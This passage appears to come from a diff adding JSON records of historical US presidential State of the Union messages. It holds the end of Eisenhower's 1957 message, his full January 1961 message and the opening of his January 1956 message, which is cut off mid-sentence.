neighbors.\nWithout cooperative neighbors, the United States cannot maintain its own\nsecurity and welfare, because:First, America's vital interests are world-wide, embracing both hemispheres\nand every continent.Second, we have community of interest with every nation in the free world.Third, interdependence of interests requires a decent respect for the\nrights and the peace of all peoples.These principles motivate our actions within the United Nations. There,\nbefore all the world, by our loyalty to them, by our practice of them, let\nus strive to set a standard to which all who seek justice and who hunger\nfor peace can rally.May we at home, here at the Seat of Government, in all the cities and towns\nand farmlands of America, support these principles in a personal effort of\ndedication. Thereby each of us can help establish a secure world order in\nwhich opportunity for freedom and justice will be more widespread, and in\nwhich the resources now dissipated on the armaments of war can be released\nfor the life and growth of all humanity.When our forefathers prepared the immortal document that proclaimed our\nindependence, they asserted that every individual is endowed by his Creator\nwith certain inalienable rights. As we gaze back through history to that\ndate, it is clear that our nation has striven to live up to this\ndeclaration, applying it to nations as well as to individuals.Today we proudly assert that the government of the United States is still\ncommitted to this concept, both in its activities at home and abroad.The purpose is Divine; the implementation is human.Our country and its government have made mistakes--human mistakes. They\nhave been of the head--not of the heart. And it is still true that the\ngreat concept of the dignity of all men, alike created in the image of the\nAlmighty, has been the compass by which we have tried and are trying to\nsteer our course.So long as we continue by its guidance, there will be true progress in\nhuman affairs, both among ourselves and among those with whom we deal.To achieve a more perfect fidelity to it, I submit, is a worthy ambition as\nwe meet together in these first days of this, the first session of the 85th\nCongress.", 
+    "name": "Dwight D. Eisenhower"
+}
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+{
+    "date": "January 12, 1961", 
+    "speech": "To the Congress of the United States:Once again it is my Constitutional duty to assess the state of the Union.On each such previous occasion during these past eight years I have\noutlined a forward course designed to achieve our mutual objective--a\nbetter America in a world of peace. This time my function is different.The American people, in free election, have selected new leadership which\nsoon will be entrusted with the management of our government. A new\nPresident shortly will lay before you his proposals to shape the future of\nour great land. To him, every citizen, whatever his political beliefs,\nprayerfully extends best wishes for good health and for wisdom and success\nin coping with the problems that confront our Nation.For my part, I should like, first, to express to you of the Congress, my\nappreciation of your devotion to the common good and your friendship over\nthese difficult years. I will carry with me pleasant memories of this\nassociation in endeavors profoundly significant to all our people.We have been through a lengthy period in which the control over the\nexecutive and legislative branches of government has been divided between\nour two great political parties. Differences, of course, we have had,\nparticularly in domestic affairs. But in a united determination to keep\nthis Nation strong and free and to utilize our vast resources for the\nadvancement of all mankind, we have carried America to unprecedented\nheights.For this cooperative achievement I thank the American people and those in\nthe Congress of both parties who have supported programs in the interest of\nour country.I should also like to give special thanks for the devoted service of my\nassociates in the Executive Branch and the hundreds of thousands of career\nemployees who have implemented our diverse government programs.My second purpose is to review briefly the record of these past eight years\nin the hope that, out of the sum of these experiences, lessons will emerge\nthat are useful to our Nation. Supporting this review are detailed reports\nfrom the several agencies and departments, all of which are now or will\nshortly be available to the Congress.Throughout the world the years since 1953 have been a period of profound\nchange. The human problems in the world grow more acute hour by hour; yet\nnew gains in science and technology continually extend the promise of a\nbetter life. People yearn to be free, to govern themselves; yet a third of\nthe people of the world have no freedom, do not govern themselves. The\nworld recognizes the catastrophic nature of nuclear war; yet it sees the\nwondrous potential of nuclear peace.During the period, the United States has forged ahead under a constructive\nforeign policy. The continuing goal is peace, liberty, and well-being--for\nothers as well as ourselves. The aspirations of all peoples are one--peace\nwith justice in freedom. Peace can only be attained collectively as peoples\neverywhere unite in their determination that liberty and well-being come to\nall mankind.Yet while we have worked to advance national aspirations for freedom, a\ndivisive force has been at work to divert that aspiration into dangerous\nchannels. The Communist movement throughout the world exploits the natural\nstriving of all to be free and attempts to subjugate men rather than free\nthem. These activities have caused and are continuing to cause grave\ntroubles in the world.Here at home these have been times for careful adjustment of our economy\nfrom the artificial impetus of a hot war to constructive growth in a\nprecarious peace. While building a new economic vitality without inflation,\nwe have also increased public expenditures to keep abreast of the needs of\na growing population and its attendant new problems, as well as our added\ninternational responsibilities. We have worked toward these ends in a\ncontext of shared responsibility--conscious of the need for maximum scope\nto private effort and for State and local, as well as Federal, governmental\naction.Success in designing and executing national purposes, domestically and\nabroad, can only come from a steadfast resolution that integrity in the\noperation of government and in our relations with each other be fully\nmaintained. Only in this way could our spiritual goals be fully advanced.FOREIGN POLICYOn January 20, 1953, when I took office, the United States was at war.\nSince the signing of the Korean Armistice in 1953, Americans have lived in\npeace in highly troubled times.During the 1956 Suez crisis, the United States government strongly\nsupported United Nations' action--resulting in the ending of the\nhostilities in Egypt.Again in 1958, peace was preserved in the Middle East despite new discord.\nOur government responded to the request of the friendly Lebanese Government\nfor military help, and promptly withdrew American forces as soon as the\nsituation was stabilized.In 1958 our support of the Republic of China during the all-out bombardment\nof Quemoy restrained the Communist Chinese from attempting to invade the\noff-shore islands.Although, unhappily, Communist penetration of Cuba is real and poses a\nserious threat, Communist dominated regimes have been deposed in Guatemala\nand Iran. The occupation of Austria has ended and the Trieste question has\nbeen settled.Despite constant threats to its integrity, West Berlin has remained free.Important advances have been made in building mutual security\narrangements--which lie at the heart of our hopes for future peace and\nsecurity in the world. The Southeast Asia Treaty Organization has been\nestablished; the NATO alliance has been militarily strengthened; the\nOrganization of American States has been further developed as an instrument\nof inter-American cooperation; the Anzus treaty has strengthened ties with\nAustralia and New Zealand, and a mutual security treaty with Japan has been\nsigned. In addition, the CENTO pact has been concluded, and while we are\nnot officially a member of this alliance we have participated closely in\nits deliberations.The \"Atoms for Peace\" proposal to the United Nations led to the creation of\nthe International Atomic Energy Agency. Our policy has been to push for\nenforceable programs of inspection against surprise attack, suspension of\nnuclear testing, arms reduction, and peaceful use of outer space.The United Nations has been vigorously supported in all of its actions,\nincluding the condemnations of the wholesale murder of the people of Tibet\nby the Chinese Communists and the brutal Soviet repression of the people of\nHungary, as well as the more recent UN actions in the Congo.The United States took the initiative in negotiating the significant treaty\nto guarantee the peaceful use of vast Antarctica.The United States Information Agency has been transformed into a greatly\nimproved medium for explaining our policies and actions to audiences\noverseas, answering the lies of communist propaganda, and projecting a\nclearer image of American life and culture.Cultural, technological and educational exchanges with the Soviet Union\nhave been encouraged, and a comprehensive agreement was made which\nauthorized, among other things, the distribution of our Russian language\nmagazine Amerika and the highly successful American Exhibition in Moscow.This country has continued to withhold recognition of Communist China and\nto oppose vigorously the admission of this belligerent and unrepentant\nnation into the United Nations. Red China has yet to demonstrate that it\ndeserves to be considered a \"peace-loving\" nation.With communist imperialism held in check, constructive actions were\nundertaken to strengthen the economies of free world nations. The United\nStates government has given sturdy support to the economic and technical\nassistance activities of the UN. This country stimulated a doubling of the\ncapital of the World Bank and a 50 percent capital increase in the\nInternational Monetary Fund. The Development Loan Fund and the\nInternational Development Association were established. The United States\nalso took the lead in creating the Inter-American Development Bank.Vice President Nixon, Secretaries of State Dulles and Herter and I\ntravelled extensively through the world for the purpose of strengthening\nthe cause of peace, freedom, and international understanding. So rewarding\nwere these visits that their very success became a significant factor in\ncausing the Soviet Union to wreck the planned Summit Conference of 1960.These vital programs must go on. New tactics will have to be developed, of\ncourse, to meet new situations, but the underlying principles should be\nconstant. Our great moral and material commitments to collective security,\ndeterrence of force, international law, negotiations that lead to\nself-enforcing agreements, and the economic interdependence of free nations\nshould remain the cornerstone of a foreign policy that will ultimately\nbring permanent peace with justice in freedom to all mankind. The\ncontinuing need of all free nations today is for each to recognize clearly\nthe essentiality of an unbreakable bond among themselves based upon a\ncomplete dedication to the principles of collective security, effective\ncooperation and peace with justice.NATIONAL DEFENSEFor the first time in our nation's history we have consistently maintained\nin peacetime, military forces of a magnitude sufficient to deter and if\nneed be to destroy predatory forces in the world.Tremendous advances in strategic weapons systems have been made in the past\neight years. Not until 1953 were expenditures on long-range ballistic\nmissile programs even as much as a million dollars a year; today we spend\nten times as much each day on these programs as was spent in all of 1952.No guided ballistic missiles were operational at the beginning of 1953.\nToday many types give our armed forces unprecedented effectiveness. The\nexplosive power of our weapons systems for all purposes is almost\ninconceivable.Today the United States has operational ATLAS missiles which can strike a\ntarget 5000 miles away in a half-hour. The POLARIS weapons system became\noperational last fall and the TITAN is scheduled to become so this year.\nNext year, more than a year ahead of schedule, a vastly improved ICBM, the\nsolid propellant MINUTEMAN, is expected to be ready.Squadrons of accurate Intermediate Range Ballistic Missiles are now\noperational. The THOR and JUPITER IRBMs based in forward areas can hit\ntargets 1500 miles away in 18 minutes.Aircraft which fly at speeds faster than sound were still in a\ndevelopmental stage eight years ago. Today American fighting planes go\ntwice the speed of sound. And either our B-58 Medium Range Jet Bomber or\nour B-52 Long Range Jet Bomber can carry more explosive power than was used\nby all combatants in World War II--Allies and Axis combined.Eight years ago we had no nuclear-powered ships. Today 49 nuclear warships\nhave been authorized. Of these, 14 have been commissioned, including three\nof the revolutionary POLARIS submarines. Our nuclear submarines have\ncruised under the North Pole and circumnavigated the earth while submerged.\nSea warfare has been revolutionized, and the United States is far and away\nthe leader.Our tactical air units overseas and our aircraft carriers are alert; Army\nunits, guarding the frontiers of freedom in Europe and the Far East, are in\nthe highest state of readiness in peacetime history; our Marines, a third\nof whom are deployed in the Far East, are constantly prepared for action;\nour Reserve establishment has maintained high standards of proficiency, and\nthe Ready Reserve now numbers over 2 1/2 million citizen-soldiers.The Department of Defense, a young and still evolving organization, has\ntwice been improved and the line of command has been shortened in order to\nmeet the demands of modern warfare. These major reorganizations have\nprovided a more effective structure for unified planning and direction of\nthe vast defense establishment. Gradual improvements in its structure and\nprocedures are to be expected.United States civil defense and nonmilitary defense capacity has been\ngreatly strengthened and these activities have been consolidated in one\nFederal agency.The defense forces of our Allies now number five million men, several\nthousand combatant ships, and over 25,000 aircraft. Programs to strengthen\nthese allies have been consistently supported by the Administration. U.S.\nmilitary assistance goes almost exclusively to friendly nations on the rim\nof the communist world. This American contribution to nations who have the\nwill to defend their freedom, but insufficient means, should be vigorously\ncontinued. Combined with our Allies, the free world now has a far stronger\nshield than we could provide alone.Since 1953, our defense policy has been based on the assumption that the\ninternational situation would require heavy defense expenditures for an\nindefinite period to come, probably for years. In this protracted struggle,\ngood management dictates that we resist overspending as resolutely as we\noppose under-spending. Every dollar uselessly spent on military mechanisms\ndecreases our total strength and, therefore, our security. We must not\nreturn to the \"crash-program\" psychology of the past when each new feint by\nthe Communists was responded to in panic. The \"bomber gap\" of several years\nago was always a fiction, and the \"missile gap\" shows every sign of being\nthe same.The nation can ill afford to abandon a national policy which provides for a\nfully adequate and steady level of effort, designed for the long pull; a\nfast adjustment to new scientific and technological advances; a balanced\nforce of such strength as to deter general war, to effectively meet local\nsituations and to retaliate to attack and destroy the attacker; and a\nstrengthened system of free world collective security.THE ECONOMYThe expanding American economy passed the half-trillion dollar mark in\ngross national product early in 1960. The Nation's output of goods and\nservices is now nearly 25 percent higher than in 1952.In 1959, the average American family had an income of $6,520, 15 percent\nhigher in dollars of constant buying power than in 1952, and the real wages\nof American factory workers have risen 20 percent during the past eight\nyears. These facts reflect the rising standard of individual and family\nwell-being enjoyed by Americans.Our Nation benefits also from a remarkable improvement in general\nindustrial peace through strengthened processes of free collective\nbargaining. Time lost since 1952 because of strikes has been half that lost\nin the eight years prior to that date. Legislation now requires that union\nmembers have the opportunity for full participation in the affairs of their\nunions. The Administration supported the Landrum-Griffin Act, which I\nbelieve is greatly helpful to the vast bulk of American Labor and its\nleaders, and also is a major step in getting racketeers and gangsters out\nof labor-management affairs.The economic security of working men and women has been strengthened by an\nextension of unemployment insurance coverage to 2.5 million ex-servicemen,\n2.4 million Federal employees, and 1.2 million employees of small\nbusinesses, and by a strengthening of the Railroad Unemployment Insurance\nAct. States have been encouraged to improve their unemployment compensation\nbenefits, so that today average weekly benefits are 40 percent higher than\nin 1953.Determined efforts have improved workers' safety standards. Enforceable\nsafety standards have been established for longshoremen and ship repair\nworkers; Federal Safety Councils have been increased from 14 to over 100;\nsafety awards have been initiated, and a national construction safety\nprogram has been developed.A major factor in strengthening our competitive enterprise system, and\npromoting economic growth, has been the vigorous enforcement of antitrust\nlaws over the last eight years and a continuing effort to reduce artificial\nrestraints on competition and trade and enhance our economic liberties.\nThis purpose was also significantly advanced in 1953 when, as one of the\nfirst acts of this Administration, restrictive wage and price controls were\nended.An additional measure to strengthen the American system of competitive\nenterprise was the creation of the Small Business Administration in 1953 to\nassist existing small businesses and encourage new ones. This agency has\napproved over $1 billion in loans, initiated a new program to provide\nlong-term capital for small businesses, aided in setting aside $31/2 billion\nin government contracts for award to small business concerns, and brought\nto the attention of individual businessmen, through programs of information\nand education, new developments in management and production techniques.\nSince 1952, important tax revisions have been made to encourage small\nbusinesses.Many major improvements in the Nation's transportation system have been\nmade:--After long years of debate, the dream of a great St. Lawrence Seaway,\nopening the heartland of America to ocean commerce, has been fulfilled.--The new Federal Aviation Agency is fostering greater safety in air\ntravel.--The largest public construction program in history--the 41,000 mile\nnational system of Interstate and Defense highways--has been pushed rapidly\nforward. Twenty-five percent of this system is now open to traffic.Efforts to help every American build a better life have included also a\nvigorous program for expanding our trade with other nations. A 4-year\nrenewal of the Reciprocal Trade Agreements Act was passed in 1958, and a\ncontinuing and rewarding effort has been made to persuade other countries\nto remove restrictions against our exports. A new export expansion program\nwas launched in 1960, inaugurating improvement of export credit insurance\nand broadening research and information programs to awaken Americans to\nbusiness opportunities overseas. These actions and generally prosperous\nconditions abroad have helped push America's export trade to a level of $20\nbillion in 1960.Although intermittent declines in economic activity persist as a problem in\nour enterprise system, recent downturns have been moderate and of short\nduration. There is, however, little room for complacency. Currently our\neconomy is operating at high levels, but unemployment rates are higher than\nany of us would like, and chronic pockets of high unemployment persist.\nClearly, continued sound and broadly shared economic growth remains a major\nnational objective toward which we must strive through joint private and\npublic efforts.If government continues to work to assure every American the fullest\nopportunity to develop and utilize his ability and talent, it will be\nperforming one of its most vital functions, that of advancing the welfare\nand protecting the dignity, rights, and freedom of all Americans.GOVERNMENT FINANCE AND ADMINISTRATIONIn January 1953, the consumer's dollar was worth only 52 cents in terms of\nthe food, clothing, shelter and other items it would buy compared to 1939.\nToday, the inflationary spiral which had raised the cost of living by 36\npercent between 1946 and 1952 has all but ceased and the value of the\ndollar virtually stabilized.In 1954 we had the largest tax cut in history, amounting to $7.4 billion\nannually, of which over 62 percent went to individuals mostly in the small\nincome brackets.This Administration has directed constant efforts toward fiscal\nresponsibility. Balanced budgets have been sought when the economy was\nadvancing, and a rigorous evaluation of spending programs has been\nmaintained at all times. Resort to deficit financing in prosperous times\ncould easily erode international confidence in the dollar and contribute to\ninflation at home. In this belief, I shall submit a balanced budget for\nfiscal 1962 to the Congress next week.There has been a firm policy of reducing government competition with\nprivate enterprise. This has resulted in the discontinuance of some 2,000\ncommercial industrial installations and in addition the curtailment of\napproximately 550 industrial installations operated directly by government\nagencies.Also an aggressive surplus disposal program has been carried on to Identify\nand dispose of unneeded government-owned real property. This has resulted\nin the addition of a substantial number of valuable properties to local tax\nrolls, and a significant monetary return to the government.Earnest and persistent attempts have been made to strengthen the position\nof State and local governments and thereby to stop the dangerous drift\ntoward centralization of governmental power in Washington.Significant strides have been made in increasing the effectiveness of\ngovernment. Important new agencies have been established, such as the\nDepartment of Health, Education, and Welfare, the Federal Aviation Agency,\nand the National Aeronautics and Space Administration. The Council of\nEconomic Advisers was reconstituted.The operation of our postal system has been modernized to get better and\nmore efficient service. Modernized handling of local mail now brings\nnext-day delivery to 168 million people in our population centers, expanded\ncarrier service now accommodates 9.3 million families in the growing\nsuburbs, and 1.4 million families have been added to the rural delivery\nservice. Common sense dictates that the Postal Service should be on a\nself-financing basis.The concept of a trained and dedicated government career service has been\nstrengthened by the provision of life and health insurance benefits, a\nvastly improved retirement system, a new merit promotion program, and the\nfirst effective incentive awards program. With no sacrifice in efficiency,\nFederal civilian employment since 1953 has been reduced by over a quarter\nof a million persons.I am deeply gratified that it was under the urging of this Administration\nthat Alaska and Hawaii became our 49th and 50th States.AGRICULTUREDespite the difficulties of administering Congressional programs which\napply outmoded prescriptions and which aggravate rather than solve\nproblems, the past eight years brought notable advances in agriculture.Total agricultural assets are approximately $200 billion--up $36 billion in\neight years.Farm owner equities are at the near record high of $174 billion.Farm ownership is at a record high with fewer farmers in a tenant and\nsharecropper status than at any time in our nation's history.The \"Food-for-Peace\" program has demonstrated how surplus of American food\nand fiber can be effectively used to feed and clothe the needy abroad.\nAided by this humanitarian program, total agricultural exports have grown\nfrom $2.8 billion in 1953 to an average of about $4 billion annually for\nthe past three years. For 1960, exports are estimated at $4.5 billion, the\nhighest volume on record. Under the Food-for-Peace program, the largest\nwheat transaction in history was consummated with India in 1960.The problems of low-income farm families received systematic attention for\nthe first time in the Rural Development Program. This program has gone\nforward in 39 States, yielding higher incomes and a better living for rural\npeople most in need.The Rural Electrification Administration has helped meet the growing demand\nfor power and telephones in agricultural areas. Ninety-seven percent of all\nfarms now have central station electric power. Dependence upon Federal\nfinancing should no longer be necessary.The Farm Credit Administration has been made an independent agency more\nresponsive to the farmer's needs.The search for new uses for our farm abundance and to develop new crops for\ncurrent needs has made major progress. Agricultural research appropriations\nhave increased by 171 percent since 1953.Farmers are being saved approximately $80 million a year by the repeal in\n1956 of Federal taxes on gasoline used in tractors and other machinery.Since 1953, appropriations have been doubled for county agents, home agents\nand the Extension Service.Eligibility for Social Security benefits has been extended to farmers and\ntheir families.Yet in certain aspects our agricultural surplus situation is increasingly\ngrave. For example, our wheat stocks now total 1.3 billion bushels. If we\ndid not harvest one bushel of wheat in this coming year, we would still\nhave all we could eat, all we could sell abroad, all we could give away,\nand still have a substantial carryover. Extraordinary costs are involved\njust in management and disposal of this burdensome surplus. Obviously\nimportant adjustments must still come. Congress must enact additional\nlegislation to permit wheat and other farm commodities to move into regular\nmarketing channels in an orderly manner and at the same time afford the\nneeded price protection to the farmer. Only then will agriculture again be\nfree, sound, and profitable.NATURAL RESOURCESNew emphasis has been placed on the care of our national parks. A ten year\ndevelopment program of our National Park System--Mission 66--was initiated\nand 633,000 acres of park land have been added since 1953.Appropriations for fish and wildlife operations have more than doubled.\nThirty-five new refuges, containing 11,342,000 acres, have been added to\nthe national wildlife management system.Our Nation's forests have been improved at the most rapid rate in history.The largest sustained effort in water resources development in our history\nhas taken place. In the field of reclamation alone, over 50 new projects,\nor project units, have been authorized since 1953--including the billion\ndollar Colorado River Storage Project. When all these projects have been\ncompleted they will have a storage capacity of nearly 43 million\nacre-feet--an increase of 50 percent over the Bureau of Reclamation's\nstorage capacity in mid-1953. In addition, since 1953 over 450 new\nnavigation flood control and multiple purpose projects of the Corps of\nEngineers have been started, costing nearly 6 billion dollars.Soil and water conservation has been advanced as never before. One hundred\nforty-one projects are now being constructed under the Watershed Protection\nProgram.Hydroelectric power has been impressively developed through a policy which\nrecognizes that the job to be done requires comprehensive development by\nFederal, State, and local governments and private enterprise. Teamwork is\nessential to achieve this objective.The Federal Columbia River power system has grown from two multipurpose\ndams with a 2.6 million kilowatt capacity to 17 multipurpose projects\ncompleted or under construction with an ultimate installed capacity of 8.1\nmillion kilowatts. After years of negotiation, a Columbia River Storage\nDevelopment agreement with Canada now opens the way for early realization\nof unparalleled power, flood control and resource conservation benefits for\nthe Pacific Northwest. A treaty implementing this agreement will shortly be\nsubmitted to the Senate.A farsighted and highly successful program for meeting urgent water needs\nis being carded out by converting salt water to fresh water. A 75 percent\nreduction in the cost of this process has already been realized.Continuous resource development is essential for our expanding economy. We\nmust continue vigorous, combined Federal, State and private programs, at\nthe same time preserving to the maximum extent possible our natural and\nscenic heritage for future generations.EDUCATION, SCIENCE, AND TECHNOLOGYThe National Defense Education Act of 1958 is already a milestone in the\nhistory of American education. It provides broad opportunities for the\nintellectual development of all children by strengthening courses of study\nin science, mathematics, and foreign languages, by developing new graduate\nprograms to train additional teachers, and by providing loans for young\npeople who need financial help to go to college.The Administration proposed on numerous occasions a broad new five-year\nprogram of Federal aid to help overcome the classroom shortage in public\nelementary and secondary schools. Recommendations were also made to give\nassistance to colleges and universities for the construction of academic\nand residential buildings to meet future enrollment increases.This Administration greatly expanded Federal loans for building dormitories\nfor students, teachers, and nurses training, a program assisting in the\nconstruction of approximately 200,000 living accommodations during the past\n8 years.There has been a vigorous acceleration of health, resource and education\nprograms designed to advance the role of the American Indian in our\nsociety. Last fall, for example, 91 percent of the Indian children between\nthe ages of 6 and 18 on reservations were enrolled in school. This is a\nrise of 12 percent since 1953.In the field of science and technology, startling strides have been made by\nthe new National Aeronautics and Space Administration. In little more than\ntwo years, NASA has successfully launched meteorological satellites, such\nas Tiros I and Tiros II, that promise to revolutionize methods of weather\nforecasting; demonstrated the feasibility of satellites for global\ncommunications by the successful launching of Echo I; produced an enormous\namount of valuable scientific data, such as the discovery of the Van Allen\nRadiation Belt; successfully launched deep-space probes that maintained\ncommunication over the greatest range man has ever tracked; and made real\nprogress toward the goal of manned space flights.These achievements unquestionably make us preeminent today in space\nexploration for the betterment of mankind. I believe the present\norganizational arrangements in this area, with the revisions proposed last\nyear, are completely adequate for the tasks ahead.Americans can look forward to new achievements in space exploration. The\nnear future will hold such wonders as the orbital flight of an astronaut,\nthe landing of instruments on the moon, the launching of the powerful giant\nSaturn rocket vehicles, and the reconnaissance of Mars and Venus by\nunmanned vehicles.The application of atomic energy to industry, agriculture, and medicine has\nprogressed from hope and experiment to reality. American industry and\nagriculture are making increasing use of radioisotopes to improve\nmanufacturing, testing, and crop-raising. Atomic energy has improved the\nability of the healing professions to combat disease, and holds promise for\nan eventual increase in man's life span.Education, science, technology and balanced programs of every kind-these\nare the roadways to progress. With appropriate Federal support, the States\nand localities can assure opportunities for achieving excellence at all\nlevels of the educational system; and with the Federal government\ncontinuing to give wholehearted support to basic scientific research and\ntechnology, we can expect to maintain our position of leadership in the\nworld.CIVIL RIGHTSThe first consequential Federal Civil Rights legislation in 85 years was\nenacted by Congress on recommendation of the Administration in 1957 and\n1960.A new Civil Rights Division in the Department of Justice has already moved\nto enforce constitutional rights in such areas as voting and the\nelimination of Jim Crow laws.Greater equality of job opportunity in Federal employment and employment\nwith Federal contractors has been effectively provided through the\nPresident's Committees on Government Contracts and Government Employment\nPractices.The Civil Rights Commission has undertaken important surveys in the fields\nof housing, voting, and education.Segregation has been abolished in the Armed Forces, in Veterans' Hospitals,\nin all Federal employment, and throughout the District of\nColumbia--administratively accomplished progress in this field that is\nunmatched in America's recent history.This pioneering work in civil rights must go on. Not only because\ndiscrimination is morally wrong, but also because its impact is more than\nnational--it is world-wide.HEALTH AND WELFAREFederal medical research expenditures have increased more than fourfold\nsince 1954.A vast variety of the approaches known to medical science has been explored\nto find better methods of treatment and prevention of major diseases,\nparticularly heart diseases, cancer, and mental illness.The control of air and water pollution has been greatly strengthened.Americans now have greater protection against harmful, unclean, or\nmisrepresented foods, drugs, or cosmetics through a strengthened Food and\nDrug Administration and by new legislation which requires that food\nadditives be proved safe for human consumption before use.A newly established Federal Radiation Council, along with the Department of\nHealth, Education, and Welfare, analyzes and coordinates information\nregarding radiological activities which affect the public health.Medical manpower has been increased by Federal grants for teaching and\nresearch.Construction of new medical facilities has been stepped up and extended to\ninclude nursing homes, diagnostic and treatment centers, and rehabilitation\nfacilities.The vocational rehabilitation program has been significantly expanded.\nAbout 90,000 handicapped people are now being rehabilitated annually so\nthey are again able to earn their own living with self-respect and\ndignity.New legislation provides for better medical care for the needy aged,\nincluding those older persons, who, while otherwise self-sufficient, need\nhelp in meeting their health care costs. The Administration recommended a\nmajor expansion of this effort.The coverage of the Social Security Act has been broadened since 1953 to\nmake 11 million additional people eligible for retirement, disability or\nsurvivor benefits for themselves or their dependents, and the Social\nSecurity benefits have been substantially improved.Grants to the States for maternal and child welfare services have been\nincreased.The States, aided by Federal grants, now assist some 6 million needy people\nthrough the programs of Old Age Assistance, Aid to Dependent Children, Aid\nto the Blind, and Aid to the Totally and Permanently Disabled.HOUSING AND URBAN DEVELOPMENTMore houses have been built during the past eight years--over nine\nmillion--than during any previous eight years in history.An historic new approach--Urban Renewal--now replaces piecemeal thrusts at\nslum pockets and urban blight. Communities engaged in urban renewal have\ndoubled and renewal projects have more than tripled since 1953. An\nestimated 68 projects in 50 cities will be completed by the end of the\ncurrent fiscal year; another 577 projects will be underway, and planning\nfor 310 more will be in process. A total of $2 billion in Federal grants\nwill ultimately be required to finance these 955 projects.New programs have been initiated to provide more and better housing for\nelderly people. Approximately 25,000 units especially designed for the\nelderly have been built, started, or approved in the past three years.For the first time, because of Federal help and .encouragement, 90\nmetropolitan areas and urban regions and 1140 smaller towns throughout the\ncountry are making comprehensive development plans for their future growth\nand development.American communities have been helped to plan water and sanitation systems\nand schools through planning advances for 1600 public works projects with a\nconstruction cost of nearly $2 billion.Mortgage insurance on individual homes has been greatly expanded. During\nthe past eight years, the Federal Housing Administration alone insured over\n21/2 million home mortgages valued at $27 billion, and in addition, insured\nmore than ten million property improvement loans.The Federal government must continue to provide leadership in order to make\nour cities and communities better places in which to live, work, and raise\nfamilies, but without usurping rightful local authority, replacing\nindividual responsibility, or stifling private initiative.IMMIGRATIONOver 32,000 victims of Communist tyranny in Hungary were brought to our\nshores, and at this time our country is working to assist refugees from\ntyranny in Cuba.Since 1953, the waiting period for naturalization applicants has been\nreduced from 18 months to 45 days.The Administration also has made legislative recommendations to liberalize\nexisting restrictions upon immigration while still safeguarding the\nnational interest. It is imperative that our immigration policy be in the\nfinest American tradition of providing a haven for oppressed peoples and\nfully in accord with our obligation as a leader of the free world.VETERANSIn discharging the nation's obligation to our veterans, during the past\neight years there have been:The readjustment of World War II veterans was completed, and the five\nmillion Korean conflict veterans were assisted in achieving successful\nreadjustment to civilian life;Increases in compensation benefits for all eligible veterans with service\nconnected disabilities;Higher non-service connected pension benefits for needy veterans;Greatly improved benefits to survivors of veterans dying in or as a result\nof service;Authorization, by Presidential directive, of an increase in the number of\nbeds available for sick and disabled veterans;Development of a 12-year, $900 million construction program to modernize\nand improve our veterans hospitals;New modern techniques brought into the administration of Veterans Affairs\nto provide the highest quality service possible to those who have defended\nus.CONCLUSIONIn concluding my final message to the Congress, it is fitting to look back\nto my first--to the aims and ideals I set forth on February 2, 1953: To use\nAmerica's influence in world affairs to advance the cause of peace and\njustice, to conduct the affairs of the Executive Branch with integrity and\nefficiency, to encourage creative initiative in our economy, and to work\ntoward the attainment of the well-being and equality of opportunity of all\ncitizens.Equally, we have honored our commitment to pursue and attain specific\nobjectives. Among them, as stated eight years ago: strengthening of the\nmutual security program; development of world trade and commerce; ending of\nhostilities in Korea; creation of a powerful deterrent force; practicing\nfiscal responsibility; checking the menace of inflation; reducing the tax\nburden; providing an effective internal security program; developing and\nconserving our natural resources; reducing governmental interference in the\naffairs of the farmer; strengthening and improving services by the\nDepartment of Labor, and the vigilant guarding of civil and social fights.I do not close this message implying that all is well--that all problems\nare solved. For progress implies both new and continuing problems and,\nunlike Presidential administrations, problems rarely have terminal dates.Abroad, there is the continuing Communist threat to the freedom of Berlin,\nan explosive situation in Laos, the problems caused by Communist\npenetration of Cuba, as well as the many problems connected with the\ndevelopment of the new nations in Africa. These areas, in particular, call\nfor delicate handling and constant review.At home, several conspicuous problems remain: promoting higher levels of\nemployment, with special emphasis on areas in which heavy unemployment has\npersisted; continuing to provide for steady economic growth and preserving\na sound currency; bringing our balance of payments into more reasonable\nequilibrium and continuing a high level of confidence in our national and\ninternational systems; eliminating heavily excessive surpluses of a few\nfarm commodities; and overcoming deficiencies in our health and educational\nprograms.Our goal always has been to add to the spiritual, moral, and material\nstrength of our nation. I believe we have done this. But it is a process\nthat must never end. Let us pray that leaders of both the near and distant\nfuture will be able to keep the nation strong and at peace, that they will\nadvance the well-being of all our people, that they will lead us on to\nstill higher moral standards, and that, in achieving these goals, they will\nmaintain a reasonable balance between private and governmental\nresponsibility.", 
+    "name": "Dwight D. Eisenhower"
+}
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+{
+    "date": "January 5, 1956", 
+    "speech": "To the Congress of the United States:The opening of this new year must arouse in us all grateful thanks to a\nkind Providence whose protection has been ever present and whose bounty has\nbeen manifold and abundant. The State of the Union today demonstrates what\ncan be accomplished under God by a free people; by their vision, their\nunderstanding of national problems, their initiative, their self-reliance,\ntheir capacity for work--and by their willingness to sacrifice whenever\nsacrifice is needed.In the past three years, responding to what our people want their\nGovernment to do, the Congress and the Executive have done much in building\na stronger, better America. There has been broad progress in fostering the\nenergies of our people, in providing greater opportunity for the\nsatisfaction of their needs, and in fulfilling their demands for the\nstrength and security of the Republic.Our country is at peace. Our security posture commands respect. A spiritual\nvigor marks our national life. Our economy, approaching the 400 billion\ndollar mark, is at an unparalleled level of prosperity. The national income\nis more widely and fairly distributed than ever before. The number of\nAmericans at work has reached an all-time high. As a people, we are\nachieving ever higher standards of living--earning more, producing more,\nconsuming more, building more and investing more than ever before.Virtually all sectors of our society are sharing in these good times. Our\nfarm families, if we act wisely, imaginatively and promptly to strengthen\nour present farm programs, can also look forward to sharing equitably in\nthe prosperity they have helped to create.War in Korea ended two and a half years ago. The collective security system\nhas been powerfully strengthened. Our defenses have been reinforced at\nsharply reduced costs. Programs to expand world trade and to harness the\natom for the betterment of mankind have been carried forward. Our economy\nhas been freed from governmental wage and price controls. Inflation has\nbeen halted; the cost of living stabilized.Government spending has been cut by more than ten billion dollars. Nearly\nthree hundred thousand positions have been eliminated from the Federal\npayroll. Taxes have been substantially reduced. A balanced budget is in\nprospect. Social security has been extended to ten million more Americans\nand unemployment insurance to four million more. Unprecedented advances in\ncivil rights have been made. The long-standing and deep-seated problems of\nagriculture have been forthrightly attacked.This record of progress has been accomplished with a self imposed caution\nagainst unnecessary and unwise interference in the private affairs of our\npeople, of their communities and of the several States.If we of the Executive and Legislative Branches, keeping this caution ever\nin mind, address ourselves to the business of the year before us--and to\nthe unfinished business of last year--with resolution, the outlook is\nbright with promise.Many measures of great national importance recommended last year to the\nCongress still demand immediate attention legislation for school and\nhighway construction; health and immigration legislation; water resources\nlegislation; legislation to complete the implementation of our foreign\neconomic policy; such labor legislation as amendments of the\nLabor-Management Relations Act, extension of the 